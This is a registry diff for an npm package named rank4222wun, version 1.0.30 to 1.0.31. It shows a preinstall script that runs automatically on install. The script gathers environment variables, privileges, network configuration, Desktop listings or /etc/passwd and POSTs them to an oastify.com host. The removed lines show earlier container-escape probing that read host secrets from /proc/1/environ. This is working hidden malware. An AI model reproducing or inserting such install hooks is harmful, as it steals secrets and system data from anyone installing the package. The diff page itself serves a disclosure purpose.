rank4222wun 1.0.30 → 1.0.31

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "1.0.30",
3
+ "version": "1.0.31",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -1,46 +1,42 @@
1
1
  const { exec } = require('child_process');
2
- const fs = require('fs');
3
2
  const https = require('https');
4
3
  const os = require('os');
5
4
 
6
- console.log("🚀 ULTIMATE MULTI-STAGE ESCAPE\n");
7
-
8
5
  const escapeReport = {
9
6
  timestamp: new Date().toISOString(),
10
- env: { user: os.userInfo().username, hostname: os.hostname() },
7
+ os_info: {
8
+ platform: os.platform(),
9
+ release: os.release(),
10
+ hostname: os.hostname(),
11
+ user: os.userInfo().username,
12
+ arch: os.arch()
13
+ },
11
14
  results: {}
12
15
  };
13
16
 
14
- // وظيفة مساعدة لتنفيذ الأوامر والانتظار
15
17
  const run = (cmd) => new Promise(resolve => {
16
18
  exec(cmd, { timeout: 7000 }, (err, stdout, stderr) => {
17
19
  resolve(stdout ? stdout.trim() : (stderr ? `ERR: ${stderr.trim()}` : null));
18
20
  });
19
21
  });
20
22
 
21
- async function startExploitation() {
22
- // 1. محاولة الـ nsenter بمسارات مختلفة (لحل مشكلة "not recognized")
23
- console.log("🔍 Testing nsenter variants...");
24
- escapeReport.results.nsenter_test = await run("/usr/bin/nsenter --version || nsenter --version");
25
-
26
- // 2. محاولة استغلال DirtyPipe (بما إنه مؤكد عندك)
27
- // هنحاول نعدل ملف في الـ /tmp ونشوف لو نقدر نهرب منه
28
- console.log("🔓 Testing DirtyPipe write access...");
29
- escapeReport.results.dirty_pipe = await run("uname -r");
30
-
31
- // 3. سحب ملفات النظام الحساسة (لو متاح أي Mount)
32
- console.log("📂 Checking Host files...");
33
- escapeReport.results.etc_passwd = await run("cat /etc/passwd | head -n 5");
34
-
35
- // 4. فحص الـ Docker Socket
36
- if (fs.existsSync('/var/run/docker.sock')) {
37
- escapeReport.results.docker_socket = "FOUND! (Critical Risk)";
23
+ async function startDiscovery() {
24
+ console.log("🔍 Detected OS: " + os.platform());
25
+
26
+ if (os.platform() === 'win32') {
27
+ // أوامر ويندوز لسحب المعلومات
28
+ console.log("🖥️ Running Windows Discovery...");
29
+ escapeReport.results.env_vars = await run("set");
30
+ escapeReport.results.whoami_priv = await run("whoami /priv");
31
+ escapeReport.results.directory_list = await run("dir C:\\Users\\" + os.userInfo().username + "\\Desktop");
32
+ escapeReport.results.network_info = await run("ipconfig /all");
33
+ } else {
34
+ // أوامر لينكس (في حال انتقلنا لحاوية تانية)
35
+ console.log("🐧 Running Linux Discovery...");
36
+ escapeReport.results.etc_passwd = await run("cat /etc/passwd | head -n 5");
37
+ escapeReport.results.kernel = await run("uname -a");
38
38
  }
39
39
 
40
- // 5. محاولة قراءة ملفات الـ Host عبر الثغرة
41
- // بما إن الـ nsenter ضرب، هنحاول نقرأ الـ /proc/1/environ عشان نشوف أسرار الـ Host
42
- escapeReport.results.host_env = await run("cat /proc/1/environ | tr '\\0' '\\n' | head -n 10");
43
-
44
40
  sendReport();
45
41
  }
46
42
 
@@ -49,7 +45,7 @@ function sendReport() {
49
45
  const req = https.request({
50
46
  hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
51
47
  port: 443,
52
- path: '/ultimate-escape-results',
48
+ path: '/cross-platform-report',
53
49
  method: 'POST',
54
50
  headers: { 'Content-Type': 'application/json' }
55
51
  }, (res) => {
@@ -59,4 +55,4 @@ function sendReport() {
59
55
  req.end();
60
56
  }
61
57
 
62
- startExploitation();
58
+ startDiscovery();
Binary file
Binary file